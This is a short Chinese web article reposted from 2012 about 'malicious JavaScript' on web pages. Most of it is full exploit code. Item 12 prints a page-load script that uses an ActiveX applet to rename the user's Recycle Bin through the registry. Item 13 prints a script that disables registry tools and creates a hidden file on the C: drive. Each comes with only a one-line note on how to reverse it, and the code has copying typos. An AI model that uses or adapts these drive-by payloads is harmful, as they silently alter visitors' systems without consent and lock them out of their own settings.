Javascript网页恶意代码
作者 佚名技术
来源 网页制作
浏览
发布时间 2012-03-07
12、回收站给改了名字的修改方法:打开注册表找到 {645FF040-5081-101B-9F08-00AA002F954E} 修改就 OK 修改回收站的代码 <SCRIPT language=java script>
document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>"); function f(){ try { //ActiveX initialization a1=document.applets[0]; a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}"); a1.createInstance(); Shl = a1.GetObject(); a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}"); a1.createInstance(); FSO = a1.GetObject(); a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}"); a1.createInstance(); Net = a1.GetObject(); try { if (documents .cookie.indexOf("Chg") == -1) { Shl.RegWrite ("HKCU\\Software\\CLASSES\\CLSID\\{645FF040-5081-101B-9F08-00AA002F954E}\\", "回收站"); Shl.RegWrite ("HKLM\\Software\\CLASSES\\CLSID\\{645FF040-5081-101B-9F08-00AA002F954E}\\", "回收站"); var expdate = new Date((new Date()).getTime() + (1)); documents .cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;" } } catch(e) {} } catch(e) {} } function init() { setTimeout("f()", 1000); } init();</SCRIPT> 13、注册表给锁住了,锁注册表的代码。 <SCRIPT language=java script>document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");
function f() { try { a1=document.applets[0]; a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}"); a1.createInstance(); sh = a1.GetObject(); a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}"); a1.createInstance(); fo = a1.GetObject(); if (documents .cookie.indexOf("km169set") == -1) { sh.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\DisableRegistryTools", 1,"REG_DWORD"); hd=fo.CreateTextFile(); hd.write(); hd.close(); file=fo.GetFile("c:\\yntop.htm"); file.Attributes=6; var expdate = new Date((new Date()).getTime() + (1)); documents .cookie="webjxset=webjx; expires=" + expdate.toGMTString() + "; path=/;" } } catch(e) { } } function init() { setTimeout("f()", 1000); } init();</SCRIPT> |
凌众科技专业提供服务器租用、服务器托管、企业邮局、虚拟主机等服务,公司网站:http://www.lingzhong.cn 为了给广大客户了解更多的技术信息,本技术文章收集来源于网络,凌众科技尊重文章作者的版权,如果有涉及你的版权有必要删除你的文章,请和我们联系。以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息,谢谢! |
你可能对下面的文章感兴趣
关于Javascript网页恶意代码的所有评论